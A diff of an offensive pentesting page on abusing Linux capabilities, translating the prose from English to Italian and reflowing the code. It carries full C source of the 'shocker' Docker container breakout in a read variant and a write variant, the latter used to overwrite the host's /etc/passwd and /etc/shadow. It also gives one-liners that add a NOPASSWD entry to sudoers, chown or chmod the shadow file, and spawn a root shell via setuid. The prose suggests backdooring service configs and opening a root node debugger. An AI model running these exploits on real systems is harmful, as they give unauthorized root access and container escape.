+fprintf(stderr,"\n"); +if (i < h->handle_bytes - 1) +fprintf(stderr,", "); +} +fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR *dir = NULL; - struct dirent *de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); - oh->handle_type = 1; - oh->handle_bytes = 8; - return 1; - } +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR *dir = NULL; +struct dirent *de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); +oh->handle_type = 1; +oh->handle_bytes = 8; +return 1; +} - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de->d_name); - if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); - ino = de->d_ino; - break; - } - } +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de->d_name); +if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); +ino = de->d_ino; +break; +} +} - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, &ino, sizeof(ino)); - memcpy(outh.f_handle + 4, &i, sizeof(i)); - if ((i % (1<<20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); - if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle(&outh); - return find_handle(bfd, path, &outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, &ino, sizeof(ino)); +memcpy(outh.f_handle + 4, &i, sizeof(i)); +if ((i % (1<<20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); +if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle(&outh); +return find_handle(bfd, path, &outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc,char* argv[] ) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} - }; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} +}; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); +read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); - if (find_handle(fd1, argv[1], &root_h, &h) <= 0) - die("[-] Cannot find valid handle!"); +if (find_handle(fd1, argv[1], &root_h, &h) <= 0) +die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle(&h); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle(&h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) - die("[-] open_by_handle"); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) +die("[-] open_by_handle"); - memset(buf, 0, sizeof(buf)); - if (read(fd2, buf, sizeof(buf) - 1) < 0) - die("[-] read"); +memset(buf, 0, sizeof(buf)); +if (read(fd2, buf, sizeof(buf) - 1) < 0) +die("[-] read"); - printf("Success!!\n"); +printf("Success!!\n"); - FILE *fptr; - fptr = fopen(argv[2], "w"); - fprintf(fptr,"%s", buf); - fclose(fptr); +FILE *fptr; +fptr = fopen(argv[2], "w"); +fprintf(fptr,"%s", buf); +fclose(fptr); - close(fd2); close(fd1); +close(fd2); close(fd1); - return 0; +return 0; } ``` - > [!WARNING] -> The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: +> L'exploit deve trovare un puntatore a qualcosa montato sull'host. L'exploit originale utilizzava il file /.dockerinit e questa versione modificata utilizza /etc/hostname. Se l'exploit non funziona, potrebbe essere necessario impostare un file diverso. Per trovare un file montato nell'host, esegui semplicemente il comando mount: ![](<../../images/image (407) (1).png>) -**The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -​ - -
- -​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +**Il codice di questa tecnica è stato copiato dal laboratorio di "Abusing DAC_READ_SEARCH Capability" da** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) ## CAP_DAC_OVERRIDE -**This mean that you can bypass write permission checks on any file, so you can write any file.** +**Questo significa che puoi bypassare i controlli dei permessi di scrittura su qualsiasi file, quindi puoi scrivere qualsiasi file.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Ci sono molti file che puoi **sovrascrivere per escalare i privilegi,** [**puoi prendere spunti da qui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: +**Esempio con binario** +In questo esempio vim ha questa capacità, quindi puoi modificare qualsiasi file come _passwd_, _sudoers_ o _shadow_: ```bash getcap -r / 2>/dev/null /usr/bin/vim = cap_dac_override+ep vim /etc/sudoers #To overwrite it ``` +**Esempio con binario 2** -**Example with binary 2** - -In this example **`python`** binary will have this capability. You could use python to override any file: - +In questo esempio **`python`** avrà questa capacità. Potresti usare python per sovrascrivere qualsiasi file: ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` +**Esempio con ambiente + CAP_DAC_READ_SEARCH (uscita da Docker)** -**Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +Puoi controllare le capacità abilitate all'interno del contenitore docker usando: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap_dac_read_search) of the host and **compile** the exploit.\ -Then, **compile the following version of the shocker exploit** that will allow you to **write arbitrary files** inside the hosts filesystem: - +Prima di tutto, leggi la sezione precedente che [**abusa della capacità DAC_READ_SEARCH per leggere file arbitrari**](linux-capabilities.md#cap_dac_read_search) dell'host e **compila** l'exploit.\ +Poi, **compila la seguente versione dell'exploit shocker** che ti permetterà di **scrivere file arbitrari** all'interno del filesystem degli host: ```c #include #include @@ -1110,179 +990,169 @@ Then, **compile the following version of the shocker exploit** that will allow y // ./shocker_write /etc/passwd passwd struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char * msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle * h) { - fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, - h -> handle_type); - for (int i = 0; i < h -> handle_bytes; ++i) { - fprintf(stderr, "0x%02x", h -> f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr, "\n"); - if (i < h -> handle_bytes - 1) - fprintf(stderr, ", "); - } - fprintf(stderr, "};\n"); +fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, +h -> handle_type); +for (int i = 0; i < h -> handle_bytes; ++i) { +fprintf(stderr, "0x%02x", h -> f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr, "\n"); +if (i < h -> handle_bytes - 1) +fprintf(stderr, ", "); +} +fprintf(stderr, "};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR * dir = NULL; - struct dirent * de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); - oh -> handle_type = 1; - oh -> handle_bytes = 8; - return 1; - } - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de -> d_name); - if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); - ino = de -> d_ino; - break; - } - } - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, & ino, sizeof(ino)); - memcpy(outh.f_handle + 4, & i, sizeof(i)); - if ((i % (1 << 20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); - if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle( & outh); - return find_handle(bfd, path, & outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR * dir = NULL; +struct dirent * de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); +oh -> handle_type = 1; +oh -> handle_bytes = 8; +return 1; +} +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de -> d_name); +if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); +ino = de -> d_ino; +break; +} +} +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, & ino, sizeof(ino)); +memcpy(outh.f_handle + 4, & i, sizeof(i)); +if ((i % (1 << 20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); +if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle( & outh); +return find_handle(bfd, path, & outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc, char * argv[]) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = { - 0x02, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - } - }; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); - if (find_handle(fd1, argv[1], & root_h, & h) <= 0) - die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle( & h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) - die("[-] open_by_handle"); - char * line = NULL; - size_t len = 0; - FILE * fptr; - ssize_t read; - fptr = fopen(argv[2], "r"); - while ((read = getline( & line, & len, fptr)) != -1) { - write(fd2, line, read); - } - printf("Success!!\n"); - close(fd2); - close(fd1); - return 0; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = { +0x02, +0, +0, +0, +0, +0, +0, +0 +} +}; +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +read(0, buf, 1); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); +if (find_handle(fd1, argv[1], & root_h, & h) <= 0) +die("[-] Cannot find valid handle!"); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle( & h); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) +die("[-] open_by_handle"); +char * line = NULL; +size_t len = 0; +FILE * fptr; +ssize_t read; +fptr = fopen(argv[2], "r"); +while ((read = getline( & line, & len, fptr)) != -1) { +write(fd2, line, read); +} +printf("Success!!\n"); +close(fd2); +close(fd1); +return 0; } ``` +Per evadere dal container docker, puoi **scaricare** i file `/etc/shadow` e `/etc/passwd` dall'host, **aggiungere** a essi un **nuovo utente** e usare **`shocker_write`** per sovrascriverli. Poi, **accedere** tramite **ssh**. -In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. - -**The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**Il codice di questa tecnica è stato copiato dal laboratorio di "Abusing DAC_OVERRIDE Capability" da** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) ## CAP_CHOWN -**This means that it's possible to change the ownership of any file.** +**Questo significa che è possibile cambiare la proprietà di qualsiasi file.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges: +**Esempio con binario** +Supponiamo che il binario **`python`** abbia questa capacità, puoi **cambiare** il **proprietario** del file **shadow**, **cambiare la password di root** e ottenere privilegi elevati: ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` - -Or with the **`ruby`** binary having this capability: - +O con il **`ruby`** binario che ha questa capacità: ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` - ## CAP_FOWNER -**This means that it's possible to change the permission of any file.** +**Questo significa che è possibile modificare i permessi di qualsiasi file.** -**Example with binary** - -If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges: +**Esempio con binario** +Se python ha questa capacità, puoi modificare i permessi del file shadow, **cambiare la password di root** e aumentare i privilegi: ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` - ### CAP_SETUID -**This means that it's possible to set the effective user id of the created process.** +**Questo significa che è possibile impostare l'ID utente effettivo del processo creato.** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**Esempio con binario** +Se python ha questa **capability**, puoi abusarne molto facilmente per elevare i privilegi a root: ```python import os os.setuid(0) os.system("/bin/bash") ``` - -**Another way:** - +**Un altro modo:** ```python import os import prctl @@ -1291,17 +1161,15 @@ prctl.cap_effective.setuid = True os.setuid(0) os.system("/bin/bash") ``` - ## CAP_SETGID -**This means that it's possible to set the effective group id of the created process.** +**Questo significa che è possibile impostare l'ID di gruppo efficace del processo creato.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Ci sono molti file che puoi **sovrascrivere per elevare i privilegi,** [**puoi prendere spunti da qui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this case you should look for interesting files that a group can read because you can impersonate any group: +**Esempio con binario** +In questo caso dovresti cercare file interessanti che un gruppo può leggere perché puoi impersonare qualsiasi gruppo: ```bash #Find every file writable by a group find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null @@ -1310,31 +1178,25 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` - -Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with: - +Una volta trovato un file che puoi sfruttare (leggendolo o scrivendolo) per elevare i privilegi, puoi **ottenere una shell impersonando il gruppo interessante** con: ```python import os os.setgid(42) os.system("/bin/bash") ``` - -In this case the group shadow was impersonated so you can read the file `/etc/shadow`: - +In questo caso, il gruppo shadow è stato impersonato, quindi puoi leggere il file `/etc/shadow`: ```bash cat /etc/shadow ``` - -If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). +Se **docker** è installato, puoi **impostare** il **gruppo docker** e abusarne per comunicare con il [**docker socket** e aumentare i privilegi](./#writable-docker-socket). ## CAP_SETFCAP -**This means that it's possible to set capabilities on files and processes** +**Questo significa che è possibile impostare capacità su file e processi** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**Esempio con binario** +Se python ha questa **capacità**, puoi facilmente abusarne per aumentare i privilegi a root: ```python:setcapability.py import ctypes, sys @@ -1355,22 +1217,20 @@ cap_t = libcap.cap_from_text(cap) status = libcap.cap_set_file(path,cap_t) if(status == 0): - print (cap + " was successfully added to " + path) +print (cap + " was successfully added to " + path) ``` ```bash python setcapability.py /usr/bin/python2.7 ``` - > [!WARNING] -> Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap. +> Nota che se imposti una nuova capacità al binario con CAP_SETFCAP, perderai questa capacità. -Once you have [SETUID capability](linux-capabilities.md#cap_setuid) you can go to its section to see how to escalate privileges. +Una volta che hai la [capacità SETUID](linux-capabilities.md#cap_setuid) puoi andare alla sua sezione per vedere come elevare i privilegi. -**Example with environment (Docker breakout)** - -By default the capability **CAP_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like: +**Esempio con ambiente (Docker breakout)** +Per impostazione predefinita, la capacità **CAP_SETFCAP è assegnata al processo all'interno del contenitore in Docker**. Puoi verificarlo facendo qualcosa come: ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1382,10 +1242,8 @@ CapAmb: 0000000000000000 capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` - -This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\ -However, if you try to give for example the capabilities CAP_SYS_ADMIN and CAP_SYS_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**: - +Questa capacità consente di **dare qualsiasi altra capacità ai binari**, quindi potremmo pensare di **uscire** dal contenitore **abusando di qualsiasi delle altre capacità di breakout** menzionate in questa pagina.\ +Tuttavia, se provi a dare ad esempio le capacità CAP_SYS_ADMIN e CAP_SYS_PTRACE al binario gdb, scoprirai che puoi darle, ma il **binario non sarà in grado di eseguire dopo questo**: ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1395,27 +1253,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` - -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP_SETPCAP** capability in its effective set._\ -It looks like the Permitted capabilities limit the ones that can be used.\ -However, Docker also grants the **CAP_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\ -However, in the documentation of this cap: _CAP_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ -It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP_SYS_ADMIN or CAP_SYS_PTRACE in the inherit set to escalate privileges**. +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Questo è un **sottoinsieme limitante delle capacità effettive** che il thread può assumere. È anche un sottoinsieme limitante delle capacità che possono essere aggiunte al set ereditabile da un thread che **non ha la capacità CAP_SETPCAP** nel suo set effettivo._\ +Sembra che le capacità Permitted limitino quelle che possono essere utilizzate.\ +Tuttavia, Docker concede anche il **CAP_SETPCAP** per impostazione predefinita, quindi potresti essere in grado di **impostare nuove capacità all'interno di quelle ereditabili**.\ +Tuttavia, nella documentazione di questa cap: _CAP_SETPCAP : \[…] **aggiunge qualsiasi capacità dal set di bounding del thread chiamante** al suo set ereditabile_.\ +Sembra che possiamo solo aggiungere al set ereditabile capacità dal set di bounding. Ciò significa che **non possiamo mettere nuove capacità come CAP_SYS_ADMIN o CAP_SYS_PTRACE nel set ereditabile per escalare i privilegi**. ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fornisce una serie di operazioni sensibili tra cui l'accesso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificare `mmap_min_addr`, accedere alle chiamate di sistema `ioperm(2)` e `iopl(2)`, e vari comandi del disco. L'`FIBMAP ioctl(2)` è anche abilitato tramite questa capacità, il che ha causato problemi in [passato](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Secondo la pagina man, questo consente anche al titolare di descrittivamente `eseguire una serie di operazioni specifiche per dispositivo su altri dispositivi`. -This can be useful for **privilege escalation** and **Docker breakout.** +Questo può essere utile per **l'escalation dei privilegi** e **il breakout di Docker.** ## CAP_KILL -**This means that it's possible to kill any process.** +**Questo significa che è possibile uccidere qualsiasi processo.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor. +**Esempio con binario** +Supponiamo che il **`python`** binario abbia questa capacità. Se potessi **anche modificare alcune configurazioni di servizio o socket** (o qualsiasi file di configurazione relativo a un servizio), potresti inserire una backdoor, e poi uccidere il processo relativo a quel servizio e aspettare che il nuovo file di configurazione venga eseguito con la tua backdoor. ```python #Use this python code to kill arbitrary processes import os @@ -1423,39 +1279,28 @@ import signal pgid = os.getpgid(341) os.killpg(pgid, signal.SIGKILL) ``` +**Privesc con kill** -**Privesc with kill** - -If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect. - +Se hai capacità di kill e c'è un **programma node in esecuzione come root** (o come un altro utente) potresti probabilmente **inviargli** il **segnale SIGUSR1** e farlo **aprire il debugger node** a cui puoi connetterti. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - {{#ref}} electron-cef-chromium-debugger-abuse.md {{#endref}} -​ - -
- -​​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} ## CAP_NET_BIND_SERVICE -**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. +**Questo significa che è possibile ascoltare su qualsiasi porta (anche su quelle privilegiate).** Non puoi elevare i privilegi direttamente con questa capacità. -**Example with binary** +**Esempio con binario** -If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports) +Se **`python`** ha questa capacità, sarà in grado di ascoltare su qualsiasi porta e persino connettersi da essa a qualsiasi altra porta (alcuni servizi richiedono connessioni da porte privilegiate specifiche) {{#tabs}} {{#tab name="Listen"}} - ```python import socket s=socket.socket() @@ -1463,45 +1308,39 @@ s.bind(('0.0.0.0', 80)) s.listen(1) conn, addr = s.accept() while True: - output = connection.recv(1024).strip(); - print(output) +output = connection.recv(1024).strip(); +print(output) ``` - {{#endtab}} -{{#tab name="Connect"}} - +{{#tab name="Connetti"}} ```python import socket s=socket.socket() s.bind(('0.0.0.0',500)) s.connect(('10.10.10.10',500)) ``` - {{#endtab}} {{#endtabs}} ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** is crucial for privileged containers to support operations like ping via RAW ICMP requests. +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacità consente ai processi di **creare socket RAW e PACKET**, permettendo loro di generare e inviare pacchetti di rete arbitrari. Questo può portare a rischi per la sicurezza in ambienti containerizzati, come spoofing dei pacchetti, iniezione di traffico e bypass dei controlli di accesso alla rete. Attori malintenzionati potrebbero sfruttare questo per interferire con il routing dei container o compromettere la sicurezza della rete host, specialmente senza adeguate protezioni del firewall. Inoltre, **CAP_NET_RAW** è cruciale per i container privilegiati per supportare operazioni come il ping tramite richieste ICMP RAW. -**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability. +**Questo significa che è possibile sniffare il traffico.** Non puoi elevare i privilegi direttamente con questa capacità. -**Example with binary** - -If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. +**Esempio con binario** +Se il binario **`tcpdump`** ha questa capacità, sarai in grado di usarlo per catturare informazioni di rete. ```bash getcap -r / 2>/dev/null /usr/sbin/tcpdump = cap_net_raw+ep ``` +Nota che se l'**ambiente** sta dando questa capacità potresti anche usare **`tcpdump`** per sniffare il traffico. -Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic. - -**Example with binary 2** - -The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from 